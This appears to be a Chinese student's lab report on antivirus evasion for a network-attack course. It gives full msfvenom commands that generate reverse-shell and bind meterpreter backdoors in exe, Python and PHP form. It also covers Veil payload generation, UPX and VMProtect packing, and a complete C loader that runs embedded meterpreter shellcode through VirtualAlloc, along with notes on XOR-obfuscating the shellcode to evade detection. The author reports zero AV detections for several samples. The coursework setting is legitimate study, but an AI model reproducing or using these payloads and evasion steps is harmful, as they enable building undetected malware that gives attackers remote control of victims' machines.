[关闭]
@Half-Bread 2020-04-02T03:00:26.000000Z 字数 4215 阅读 193

EXP3

网络对抗


工具使用

使用msf不同编码器

使用msfvenom生成后门程序时,可以使用-e参数指定要使用的编码器,-p可以指定payload,那具体有哪些编码器和payload可以使用呢?

payload存放在/usr/share/metasploit-framework/modules/payloads中,MSF的编码器存放在目录/usr/share/metasploit-framework/modules/encoders下。可以发现MSF的编码器和payload都是按语言或平台类型来存放的。

payloads下分成三个目录,singles是将payload一次性分过去,若payloaad比较大,会把其分成两个阶段,一个是stagers,一个是stages。

这次实验payload使用bind_tcp_uuid.rb,使用x64的xor.rb编码器。

使用命令msfvenom -p python/meterpreter/bind_tcp_uuid -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f exe > zy20174317_backdoor.exe生成后门程序。

使用新的payload可以稍微降低被检出的概率

msfvenom生成如jar之类的其他文件

生成python:

  1. msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py

居然0报毒

msfvenom -p python/meterpreter_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py
也是0报毒

生成php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.103 LPORT=4317 -f raw > zy20174317_backdoor.php
能够检查出来是病毒,但是多数杀软还是认为没有毒的。

veil

veil安装

我使用以下方法成功安装,大概只花了几十分钟吧:

  1. sudo apt-get update
  2. sudo apt-get install -y veil-evasion

在update时出现了问题,出现类似校验不正确的提示“文件尺寸不符。您使用的镜像正在同步中?”。将http的镜像源改为https后问题解决。

在apt-get执行完后,将/var/lib/veil/wine/drive_c/Program Files (x86)下的AutoIt3文件夹移动到/var/lib/veil/wine/drive_c/Program Files下,然后在终端中输入veil进行安装。

veil使用

use 1 使用免杀服务
list 列出能够使用的模块
使用 39 ruby/meterpreter/rev_tcp.py
set LHOST LPORT
gerate,生成的可执行文件位于/var/lib/veil/output/compiled/下,,etasploit位于/var/lib/veil/output/handlers/,源代码在/var/lib/veil/output/source/

检测

加壳工具

UPX

使用UPX给之前生成的软件加压缩壳
upx 20174317_ruby.exe -o 20174317_ruby_upx.exe

检测,稍微好了一点

VMProtect

下载后,使用VMProtect加壳,加壳之后文件大了不少:

检测结果如下:

使用C+shellcode

使用veil生成shellcode,
进入veil后使用use 2使用Ordnance
use rev_tcp 使用反向tcp连接
设置IP端口号,使用xor编码器,输入generate生成

也可以使用msfvenom生成:msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.103 LPORT=4317 -f c

编写调用shellcode的C语言程序

  1. #include <windows.h>
  2. using namespace std;
  3. int main(int argc, char **argv){
  4. unsigned char buf[] =
  5. "\xeb\x23\x5b\x89\xdf\xb0\xe4\xfc\xae\x75\xfd\x89\xf9\x89\xde"
  6. "\x8a\x06\x30\x07\x47\x66\x81\x3f\xba\x89\x74\x08\x46\x80\x3e"
  7. "\xe4\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x13\xe4\xef"
  8. "\xfb\x91\x13\x13\x13\x73\x9a\xf6\x22\xd3\x77\x98\x43\x23\x98"
  9. "\x41\x1f\x98\x41\x07\x98\x61\x3b\x1c\xa4\x59\x35\x22\xec\xbf"
  10. "\x2f\x72\x6f\x11\x3f\x33\xd2\xdc\x1e\x12\xd4\xf1\xe1\x41\x44"
  11. "\x98\x41\x03\x98\x59\x2f\x98\x5f\x02\x6b\xf0\x5b\x12\xc2\x42"
  12. "\x98\x4a\x33\x12\xc0\x98\x5a\x0b\xf0\x29\x5a\x98\x27\x98\x12"
  13. "\xc5\x22\xec\xbf\xd2\xdc\x1e\x12\xd4\x2b\xf3\x66\xe5\x10\x6e"
  14. "\xeb\x28\x6e\x37\x66\xf7\x4b\x98\x4b\x37\x12\xc0\x75\x98\x1f"
  15. "\x58\x98\x4b\x0f\x12\xc0\x98\x17\x98\x12\xc3\x9a\x57\x37\x37"
  16. "\x48\x48\x72\x4a\x49\x42\xec\xf3\x4c\x4c\x49\x98\x01\xf8\x9e"
  17. "\x4e\x7b\x20\x21\x13\x13\x7b\x64\x60\x21\x4c\x47\x7b\x5f\x64"
  18. "\x35\x14\x9a\xfb\xec\xc3\xab\x83\x12\x13\x13\x3a\xd7\x47\x43"
  19. "\x7b\x3a\x93\x78\x13\xec\xc6\x79\x19\x7b\xd3\xbb\x13\x74\x7b"
  20. "\x11\x13\x03\xce\x9a\xf5\x43\x43\x43\x43\x53\x43\x53\x43\x7b"
  21. "\xf9\x1c\xcc\xf3\xec\xc6\x84\x79\x03\x45\x44\x7b\x8a\xb6\x67"
  22. "\x72\xec\xc6\x96\xd3\x67\x19\xec\x5d\x1b\x66\xff\xfb\x74\x13"
  23. "\x13\x13\x79\x13\x79\x17\x45\x44\x7b\x11\xca\xdb\x4c\xec\xc6"
  24. "\x90\xeb\x13\x6d\x25\x98\x25\x79\x53\x7b\x13\x03\x13\x13\x45"
  25. "\x79\x13\x7b\x4b\xb7\x40\xf6\xec\xc6\x80\x40\x79\x13\x45\x40"
  26. "\x44\x7b\x11\xca\xdb\x4c\xec\xc6\x90\xeb\x13\x6e\x3b\x4b\x7b"
  27. "\x13\x53\x13\x13\x79\x13\x43\x7b\x18\x3c\x1c\x23\xec\xc6\x44"
  28. "\x7b\x66\x7d\x5e\x72\xec\xc6\x4d\x4d\xec\x1f\x37\x1c\x96\x63"
  29. "\xec\xec\xec\xfa\x88\xec\xec\xec\x12\xd0\x3a\xd5\x66\xd2\xd0"
  30. "\xa8\xe3\xa6\xb1\x45\x79\x13\x40\xec\xc6\xba\x89";
  31. void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  32. memcpy(exec, buf, sizeof buf);
  33. ((void(*)())exec)();
  34. return 0;
  35. }

检测,居然只有两个杀软查出来了,但是神奇的是这个程序运行之后kali 完全没有反应,就是说这段代码没用(这大概就是为什么通过率这么高的原因吧)。

看别人好像可以,也可能是我的编译器的问题

使用其他课堂未介绍方法

使用veil的lua/shellcode_inject/flat.py,什么都不需要设置,直接使用gnerate生成,会出现这种情况:

这里选择1,使用veil生成shellcode,使用reverse_tcp后,generate生成。
生成后检测如图,居然没被检测出来

通过组合应用各种技术实现恶意代码免杀

将shellcode异或后存储并在运行时恢复

基于C+shellcode,不同于直接执行shellcode的是先将shellcode与自己选择的任意字符进行异或操作,将异或后的字符串保存到程序中。程序在运行时会先恢复shellcode再运行。并使用VS2017创建Windows应用程序进行编译,参考这篇博客

不能使用通过VirtualAlloc分配内存再执行的方法,而是使用了在编译时设置数据段可执行,然后再将shellcode数组的地址转为函数指针来执行shellcode的方式。

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注